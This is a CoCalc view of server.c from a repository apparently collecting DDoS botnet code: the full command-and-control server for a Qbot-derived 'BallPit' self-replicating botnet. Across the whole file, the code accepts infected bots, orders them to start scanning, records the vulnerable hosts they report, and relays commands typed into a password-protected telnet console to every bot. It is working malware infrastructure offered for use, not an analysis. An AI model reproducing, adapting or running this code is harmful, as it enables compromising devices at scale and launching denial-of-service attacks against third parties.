Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Qbot/BallPit Selfrep/server.c
5038 views
1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4
#include <sys/types.h>
5
#include <sys/socket.h>
6
#include <netdb.h>
7
#include <unistd.h>
8
#include <time.h>
9
#include <fcntl.h>
10
#include <sys/epoll.h>
11
#include <errno.h>
12
#include <pthread.h>
13
#include <signal.h>
14
15
#define MY_MGM_PASS "FlameBotnet"
16
#define MY_MGM_PORT 1238
17
18
#define MAXFDS 1000000 // No way we actually reach this amount. Ever.
19
20
struct clientdata_t {
21
uint32_t ip;
22
char build[7];
23
char connected;
24
} clients[MAXFDS];
25
struct telnetdata_t {
26
int connected;
27
} managements[MAXFDS];
28
static volatile FILE *fileFD;
29
static volatile int epollFD = 0;
30
static volatile int listenFD = 0;
31
static volatile int managesConnected = 0;
32
int fdgets(unsigned char *buffer, int bufferSize, int fd)
33
{
34
int total = 0, got = 1;
35
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
36
return got;
37
}
38
void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
39
{
40
int i;
41
int begin = 0;
42
int end = strlen(str) - 1;
43
while (isspace(str[begin])) begin++;
44
while ((end >= begin) && isspace(str[end])) end--;
45
for (i = begin; i <= end; i++) str[i - begin] = str[i];
46
str[i - begin] = '\0';
47
}
48
49
50
static int make_socket_non_blocking (int sfd)
51
{ // man fcntl
52
int flags, s;
53
flags = fcntl (sfd, F_GETFL, 0);
54
if (flags == -1)
55
{
56
perror ("fcntl");
57
return -1;
58
}
59
flags |= O_NONBLOCK;
60
/*
61
F_SETFL (int)
62
Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
63
ignored. On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
64
*/
65
s = fcntl (sfd, F_SETFL, flags);
66
if (s == -1)
67
{
68
perror ("fcntl");
69
return -1;
70
}
71
return 0;
72
}
73
74
75
static int create_and_bind (char *port)
76
{
77
struct addrinfo hints;
78
struct addrinfo *result, *rp;
79
int s, sfd;
80
memset (&hints, 0, sizeof (struct addrinfo));
81
hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
82
hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
83
hints.ai_flags = AI_PASSIVE; /* All interfaces */
84
s = getaddrinfo (NULL, port, &hints, &result);
85
if (s != 0)
86
{
87
fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
88
return -1;
89
}
90
for (rp = result; rp != NULL; rp = rp->ai_next)
91
{
92
sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
93
if (sfd == -1) continue;
94
int yes = 1;
95
if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
96
s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
97
if (s == 0)
98
{
99
break;
100
}
101
close (sfd);
102
}
103
if (rp == NULL)
104
{
105
fprintf (stderr, "Could not bind\n");
106
return -1;
107
}
108
freeaddrinfo (result);
109
return sfd;
110
}
111
void broadcast(char *msg, int us) // sends message to all bots, notifies the management clients of this happening
112
{
113
int sendMGM = 1;
114
if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
115
char *wot = malloc(strlen(msg) + 10);
116
memset(wot, 0, strlen(msg) + 10);
117
strcpy(wot, msg);
118
trim(wot);
119
time_t rawtime;
120
struct tm * timeinfo;
121
time(&rawtime);
122
timeinfo = localtime(&rawtime);
123
char *timestamp = asctime(timeinfo);
124
trim(timestamp);
125
int i;
126
for(i = 0; i < MAXFDS; i++)
127
{
128
if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
129
if(sendMGM && managements[i].connected)
130
{
131
send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
132
send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
133
send(i, ": ", 2, MSG_NOSIGNAL);
134
} //just a prompt with a timestamp.
135
printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
136
send(i, msg, strlen(msg), MSG_NOSIGNAL);
137
if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
138
else send(i, "\n", 1, MSG_NOSIGNAL);
139
}
140
free(wot);
141
}
142
143
void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
144
{
145
struct epoll_event event;
146
struct epoll_event *events;
147
int s;
148
events = calloc (MAXFDS, sizeof event);
149
while (1)
150
{
151
int n, i;
152
n = epoll_wait (epollFD, events, MAXFDS, -1);
153
for (i = 0; i < n; i++)
154
{
155
if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
156
{
157
clients[events[i].data.fd].connected = 0;
158
close(events[i].data.fd);
159
continue;
160
}
161
else if (listenFD == events[i].data.fd)
162
{
163
while (1)
164
{
165
struct sockaddr in_addr;
166
socklen_t in_len;
167
int infd, ipIndex;
168
169
in_len = sizeof in_addr;
170
infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
171
if (infd == -1)
172
{
173
if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
174
else
175
{
176
perror ("accept");
177
break;
178
}
179
}
180
181
clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
182
183
int dup = 0;
184
for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
185
{
186
if(!clients[ipIndex].connected || ipIndex == infd) continue;
187
188
if(clients[ipIndex].ip == clients[infd].ip)
189
{
190
dup = 1;
191
break;
192
}
193
}
194
195
if(dup)
196
{
197
printf("dup client\n"); // warns the operator on command line
198
if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
199
if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
200
close(infd);
201
continue;
202
}
203
204
s = make_socket_non_blocking (infd);
205
if (s == -1) { close(infd); break; }
206
207
event.data.fd = infd;
208
event.events = EPOLLIN | EPOLLET;
209
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
210
if (s == -1)
211
{
212
perror ("epoll_ctl");
213
close(infd);
214
break;
215
}
216
217
clients[infd].connected = 1;
218
send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
219
}
220
continue;
221
}
222
else
223
{
224
int thefd = events[i].data.fd;
225
struct clientdata_t *client = &(clients[thefd]);
226
int done = 0;
227
client->connected = 1;
228
while (1)
229
{
230
ssize_t count;
231
char buf[2048];
232
memset(buf, 0, sizeof buf);
233
234
while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
235
{
236
if(strstr(buf, "\n") == NULL) { done = 1; break; }
237
trim(buf);
238
if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
239
{
240
if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
241
continue;
242
}
243
if(strstr(buf, "BUILD ") == buf)
244
{
245
char *build = strstr(buf, "BUILD ") + 6;
246
if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
247
memset(client->build, 0, 7);
248
strcpy(client->build, build);
249
continue;
250
}
251
if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
252
{
253
char *line = strstr(buf, "REPORT ") + 7;
254
fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
255
fflush(fileFD);
256
//TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
257
continue;
258
}
259
if(strcmp(buf, "PONG") == 0)
260
{
261
//should really add some checking or something but meh
262
continue;
263
}
264
265
printf("buf: \"%s\"\n", buf);
266
}
267
268
if (count == -1)
269
{
270
if (errno != EAGAIN)
271
{
272
done = 1;
273
}
274
break;
275
}
276
else if (count == 0)
277
{
278
done = 1;
279
break;
280
}
281
}
282
283
if (done)
284
{
285
client->connected = 0;
286
close(thefd);
287
}
288
}
289
}
290
}
291
}
292
293
unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
294
{
295
int i = 0, total = 0;
296
for(i = 0; i < MAXFDS; i++)
297
{
298
if(!clients[i].connected) continue;
299
total++;
300
}
301
302
return total;
303
}
304
305
void *titleWriter(void *sock) // just an informational banner
306
{
307
// this LOOKS vulnerable, but it's actually not.
308
// there's no way we can have 2000 digits' worth of clients/bots connected to overflow that char array
309
int thefd = (int)sock;
310
char string[2048];
311
while(1)
312
{
313
memset(string, 0, 2048);
314
sprintf(string, "%c]0;Bots connected: %d | Clients connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
315
// \007 is a bell character... causes a beep. Why is there a beep here?
316
if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
317
318
sleep(2);
319
}
320
}
321
322
323
void *telnetWorker(void *sock)
324
{
325
int thefd = (int)sock;
326
managesConnected++;
327
pthread_t title;
328
char buf[2048];
329
memset(buf, 0, sizeof buf);
330
331
if(send(thefd, "password: ", 10, MSG_NOSIGNAL) == -1) goto end; /* failed to send... kill connection */
332
if(fdgets(buf, sizeof buf, thefd) < 1) goto end; /* no data, kill connection */
333
trim(buf);
334
if(strcmp(buf, MY_MGM_PASS) != 0) goto end; /* bad pass, kill connection */
335
memset(buf, 0, 2048);
336
if(send(thefd, "\033[1A", 4, MSG_NOSIGNAL) == -1) goto end;
337
pthread_create(&title, NULL, &titleWriter, sock); /* writes the informational banner to the admin after a login */
338
if(send(thefd, "\x1b[31m*****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
339
if(send(thefd, "* WELCOME TO THE BALL PIT *\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
340
if(send(thefd, "* Now with \x1b[32mFlameBotnet\x1b[31m support *\r\n", 53, MSG_NOSIGNAL) == -1) goto end;
341
if(send(thefd, "*****************************************\r\n\r\n> \x1b[0m", 51, MSG_NOSIGNAL) == -1) goto end;
342
/* If we can't send the useless banner, kill ourselves! Amazing error handling! */
343
managements[thefd].connected = 1;
344
345
while(fdgets(buf, sizeof buf, thefd) > 0)
346
{
347
trim(buf);
348
if(send(thefd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
349
if(strlen(buf) == 0) continue;
350
printf("management: \"%s\"\n", buf);
351
broadcast(buf, thefd); // take a command, send it to the bots
352
memset(buf, 0, 2048);
353
}
354
355
end: // cleanup dead socket
356
managements[thefd].connected = 0;
357
close(thefd);
358
managesConnected--;
359
}
360
361
void *telnetListener(void *useless)
362
{
363
int sockfd, newsockfd;
364
socklen_t clilen;
365
struct sockaddr_in serv_addr, cli_addr;
366
sockfd = socket(AF_INET, SOCK_STREAM, 0);
367
if (sockfd < 0) perror("ERROR opening socket");
368
bzero((char *) &serv_addr, sizeof(serv_addr));
369
serv_addr.sin_family = AF_INET;
370
serv_addr.sin_addr.s_addr = INADDR_ANY;
371
serv_addr.sin_port = htons(MY_MGM_PORT);
372
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
373
listen(sockfd,5);
374
clilen = sizeof(cli_addr);
375
while(1)
376
{
377
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
378
if (newsockfd < 0) perror("ERROR on accept");
379
pthread_t thread;
380
pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
381
}
382
}
383
384
int main (int argc, char *argv[])
385
{
386
signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
387
388
int s, threads;
389
struct epoll_event event;
390
391
if (argc != 3)
392
{
393
fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
394
exit (EXIT_FAILURE);
395
}
396
fileFD = fopen("output.txt", "a+"); // TOCTOU vuln if we have access to CnC
397
threads = atoi(argv[2]);
398
399
listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
400
if (listenFD == -1) abort ();
401
402
s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
403
if (s == -1) abort ();
404
405
s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
406
if (s == -1)
407
{
408
perror ("listen");
409
abort ();
410
}
411
412
epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
413
if (epollFD == -1)
414
{
415
perror ("epoll_create");
416
abort ();
417
}
418
419
event.data.fd = listenFD;
420
event.events = EPOLLIN | EPOLLET;
421
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
422
if (s == -1)
423
{
424
perror ("epoll_ctl");
425
abort ();
426
}
427
428
pthread_t thread[threads + 2];
429
while(threads--)
430
{
431
pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
432
}
433
434
pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
435
436
while(1)
437
{
438
broadcast("PING", -1); // ping bots every 60 sec on the main thread
439
440
sleep(60);
441
}
442
443
close (listenFD);
444
445
return EXIT_SUCCESS;
446
}
447